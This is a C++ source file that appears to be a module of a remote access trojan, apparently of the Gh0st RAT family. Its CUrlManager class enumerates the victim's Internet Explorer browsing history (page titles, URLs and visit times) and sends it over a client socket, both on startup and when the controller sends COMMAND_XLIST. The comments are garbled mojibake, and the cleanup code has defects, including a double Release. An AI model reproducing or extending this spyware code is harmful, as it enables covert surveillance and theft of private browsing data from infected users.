#include "UrlManager.h"
#include "urlhist.h"
#include "comdef.h"
#include <UrlHist.h>  // IUrlHistoryStg2 
#include <shlobj.h>   // CLSID_CUrlHistory, SHAddToRecentDocs
#include <atlbase.h>  // USES_CONVERSION;
#include<iostream>
#include<atltime.h>
using namespace std;


CUrlManager::CUrlManager(CClientSocket *pClient) : CManager(pClient)
{
	SendUrlList();

}

CUrlManager::~CUrlManager()
{

}



void CUrlManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
	switch (lpBuffer[0])
	{
	case COMMAND_XLIST:
		SendUrlList();
		break;
	default:
		break;
	}
}

void CUrlManager::SendUrlList()
{
	UINT	nRet = -1;
	LPBYTE	lpBuffer = getUrlList();
	if (lpBuffer == NULL)
		return;	

	Send((LPBYTE)lpBuffer, LocalSize(lpBuffer));
	LocalFree(lpBuffer);
}

LPBYTE CUrlManager::getUrlList()
{
	LPBYTE			lpBuffer = NULL;
	DWORD			dwOffset = 0;
	DWORD			dwLength = 0;

	lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1024);

	lpBuffer[0] = TOKEN_XLIST;
	dwOffset = 1;


	HRESULT hr=S_FALSE;
	hr=CoInitialize(NULL);
	IUrlHistoryStg2	*puhs; 
	IEnumSTATURL	*pesu; 
	STATURL	 su; 
	ULONG	 celt; 
	_bstr_t	 bstr; 
	CString strTitle,strUrl,strTime;

	hr   =   ::CoCreateInstance(CLSID_CUrlHistory,   NULL,   CLSCTX_INPROC_SERVER,   IID_IUrlHistoryStg,   (LPVOID   *)&puhs); 
	DWORD wd = GetLastError();
	if(SUCCEEDED(hr)) 
	{ 
		hr   =   puhs-> EnumUrls(&pesu); 
		if(SUCCEEDED(hr)) 
		{ 
			while(SUCCEEDED(pesu-> Next(1,   &su,   &celt))   &&   celt   >   0) 
			{ 
				strUrl = su.pwcsUrl;

				if ( strUrl.Find("http:") == 0 ||  strUrl.Find("ftp:")==0 ||  strUrl.Find("https:") == 0)
				{
					if(su.pwcsTitle) 
						strTitle = su.pwcsTitle;
					else 
						strTitle = _T( "�ޱ���");

					CTime ct(su.ftLastVisited);
					CString time;
					time = ct.Format("%Y��%m��%d�� %H:%M:%S");
					strTime = time;

					dwLength = lstrlen(strTitle.GetBuffer()) + lstrlen(strUrl.GetBuffer()) + lstrlen(strTime.GetBuffer()) + 3;

					// ������̫С�������·�����
					if (LocalSize(lpBuffer) < (dwOffset + dwLength))
						lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, (dwOffset + dwLength), LMEM_ZEROINIT|LMEM_MOVEABLE);

					// ����
					memcpy(lpBuffer + dwOffset, strTitle.GetBuffer(), lstrlen(strTitle.GetBuffer()) + 1);
					dwOffset += lstrlen(strTitle.GetBuffer()) + 1;

					// ��ַ
					memcpy(lpBuffer + dwOffset,strUrl.GetBuffer(), lstrlen(strUrl.GetBuffer()) + 1);
					dwOffset += lstrlen(strUrl.GetBuffer()) + 1;

					// ʱ��
					memcpy(lpBuffer + dwOffset, strTime.GetBuffer(), lstrlen(strTime.GetBuffer()) + 1);
					dwOffset += lstrlen(strTime.GetBuffer()) + 1;
				}
				else
					continue;

			} 
			puhs-> Release(); 
		} 
		puhs-> Release(); 
	} 

	lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset, LMEM_ZEROINIT|LMEM_MOVEABLE);

	return lpBuffer;
}